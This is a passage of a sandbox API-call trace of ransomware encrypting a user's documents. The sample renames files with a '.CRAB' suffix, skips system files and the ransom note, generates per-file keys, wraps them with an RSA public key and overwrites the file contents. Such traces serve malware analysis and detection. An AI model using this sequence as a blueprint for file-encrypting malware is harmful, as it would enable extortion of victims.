	[0126.737] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx", dwFileAttributes=0x20) returned 1
	[0126.738] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\uzf7bg2vzl5ednkaua.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\uzf7bg2vzl5ednkaua.pptx.crab")) returned 1
	[0126.738] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.739] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx.CRAB"
	[0126.739] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx.CRAB.CRAB"
	[0126.739] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0126.739] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.740] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.740] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.740] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0126.740] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.740] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.740] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e5a0) returned 1
	[0126.741] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.741] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.741] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.741] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0126.741] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0126.741] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.741] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.742] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.742] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e5a0) returned 1
	[0126.742] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318e7b8) returned 1
	[0126.742] CryptGetKeyParam (in: hKey=0x318e7b8, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0126.742] CryptEncrypt (in: hKey=0x318e7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0126.743] GetLastError () returned 0x0
	[0126.743] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0126.743] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6ed98) returned 1
	[0126.743] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318e838) returned 1
	[0126.743] CryptGetKeyParam (in: hKey=0x318e838, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0126.743] CryptEncrypt (in: hKey=0x318e838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0126.744] GetLastError () returned 0x0
	[0126.744] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0126.744] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\uzf7bg2vzl5ednkaua.pptx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0126.744] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.745] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.745] ReadFile (in: hFile=0x3f0, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314bf1c*=0x1639f, lpOverlapped=0x0) returned 1
	[0126.756] VirtualAlloc (lpAddress=0x0, dwSize=0x163a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.758] VirtualAlloc (lpAddress=0x0, dwSize=0x163a0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0126.761] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.762] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffe9c61, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.762] WriteFile (in: hFile=0x3f0, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x163a0, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314bf0c*=0x163a0, lpOverlapped=0x0) returned 1
	[0126.762] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.763] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.766] WriteFile (in: hFile=0x3f0, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0126.767] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0126.767] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0126.767] CloseHandle (hObject=0x3f0) returned 1
	[0126.767] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.767] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.767] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.768] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.768] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.768] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.768] FindNextFileW (in: hFindFile=0x318e6b8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0126.768] lstrcmpW (lpString1="YUuE06rq.ots", lpString2=".") returned 1
	[0126.768] lstrcmpW (lpString1="YUuE06rq.ots", lpString2="..") returned 1
	[0126.768] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\", lpString2="YUuE06rq.ots" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots"
	[0126.768] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.769] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots") returned 78
	[0126.769] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots") returned 78
	[0126.769] lstrlenW (lpString=".ots") returned 4
	[0126.769] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.769] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ots ") returned 5
	[0126.769] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.769] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots") returned 78
	[0126.769] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots") returned 78
	[0126.769] lstrcmpiW (lpString1="YUuE06rq.ots", lpString2="desktop.ini") returned 1
	[0126.769] lstrcmpiW (lpString1="YUuE06rq.ots", lpString2="autorun.inf") returned 1
	[0126.769] lstrcmpiW (lpString1="YUuE06rq.ots", lpString2="ntuser.dat") returned 1
	[0126.769] lstrcmpiW (lpString1="YUuE06rq.ots", lpString2="iconcache.db") returned 1
	[0126.770] lstrcmpiW (lpString1="YUuE06rq.ots", lpString2="bootsect.bak") returned 1
	[0126.770] lstrcmpiW (lpString1="YUuE06rq.ots", lpString2="boot.ini") returned 1
	[0126.770] lstrcmpiW (lpString1="YUuE06rq.ots", lpString2="ntuser.dat.log") returned 1
	[0126.770] lstrcmpiW (lpString1="YUuE06rq.ots", lpString2="thumbs.db") returned 1
	[0126.770] lstrcmpiW (lpString1="YUuE06rq.ots", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.770] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.770] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots.CRAB") returned 83
	[0126.770] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\yuue06rq.ots")) returned 0x20
	[0126.770] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots", dwFileAttributes=0x20) returned 1
	[0126.771] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\yuue06rq.ots"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\yuue06rq.ots.crab")) returned 1
	[0126.771] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.772] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots.CRAB"
	[0126.772] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots.CRAB.CRAB"
	[0126.772] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0126.772] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.773] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.773] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.773] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0126.773] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.773] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.773] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0126.775] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0126.775] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.775] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.775] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0126.775] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.775] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.776] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.777] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.777] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e6b0) returned 1
	[0126.815] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318f238) returned 1
	[0126.815] CryptGetKeyParam (in: hKey=0x318f238, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0126.815] CryptEncrypt (in: hKey=0x318f238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0126.816] GetLastError () returned 0x0
	[0126.816] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0126.816] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6eb78) returned 1
	[0126.818] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318f038) returned 1
	[0126.818] CryptGetKeyParam (in: hKey=0x318f038, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0126.818] CryptEncrypt (in: hKey=0x318f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0126.819] GetLastError () returned 0x0
	[0126.819] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0126.819] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\YUuE06rq.ots.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\yuue06rq.ots.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0126.819] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.820] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0126.820] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0xd6c1, lpOverlapped=0x0) returned 1
	[0126.833] VirtualAlloc (lpAddress=0x0, dwSize=0xd6d0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0126.834] VirtualAlloc (lpAddress=0x0, dwSize=0xd6d0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0126.836] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.836] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff293f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.837] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xd6d0, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0xd6d0, lpOverlapped=0x0) returned 1
	[0126.837] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.837] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.841] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0126.841] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0126.841] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0126.841] CloseHandle (hObject=0x3f0) returned 1
	[0126.842] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.842] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.842] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.842] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.843] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.843] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.843] FindNextFileW (in: hFindFile=0x318e6b8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0126.843] FindClose (in: hFindFile=0x318e6b8 | out: hFindFile=0x318e6b8) returned 1
	[0126.843] FindNextFileW (in: hFindFile=0x318e8b8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0126.843] lstrcmpW (lpString1="aaeg.doc", lpString2=".") returned 1
	[0126.843] lstrcmpW (lpString1="aaeg.doc", lpString2="..") returned 1
	[0126.843] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\", lpString2="aaeg.doc" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc"
	[0126.843] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.843] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc") returned 56
	[0126.844] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc") returned 56
	[0126.844] lstrlenW (lpString=".doc") returned 4
	[0126.844] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.844] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".doc ") returned 5
	[0126.844] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.844] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc") returned 56
	[0126.844] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc") returned 56
	[0126.844] lstrcmpiW (lpString1="aaeg.doc", lpString2="desktop.ini") returned -1
	[0126.844] lstrcmpiW (lpString1="aaeg.doc", lpString2="autorun.inf") returned -1
	[0126.845] lstrcmpiW (lpString1="aaeg.doc", lpString2="ntuser.dat") returned -1
	[0126.845] lstrcmpiW (lpString1="aaeg.doc", lpString2="iconcache.db") returned -1
	[0126.845] lstrcmpiW (lpString1="aaeg.doc", lpString2="bootsect.bak") returned -1
	[0126.845] lstrcmpiW (lpString1="aaeg.doc", lpString2="boot.ini") returned -1
	[0126.845] lstrcmpiW (lpString1="aaeg.doc", lpString2="ntuser.dat.log") returned -1
	[0126.845] lstrcmpiW (lpString1="aaeg.doc", lpString2="thumbs.db") returned -1
	[0126.845] lstrcmpiW (lpString1="aaeg.doc", lpString2="CRAB-DECRYPT.txt") returned -1
	[0126.845] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.845] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc.CRAB") returned 61
	[0126.845] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\aaeg.doc")) returned 0x20
	[0126.845] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc", dwFileAttributes=0x20) returned 1
	[0126.846] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\aaeg.doc"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\aaeg.doc.crab")) returned 1
	[0126.847] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.847] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc.CRAB"
	[0126.847] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc.CRAB.CRAB"
	[0126.847] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
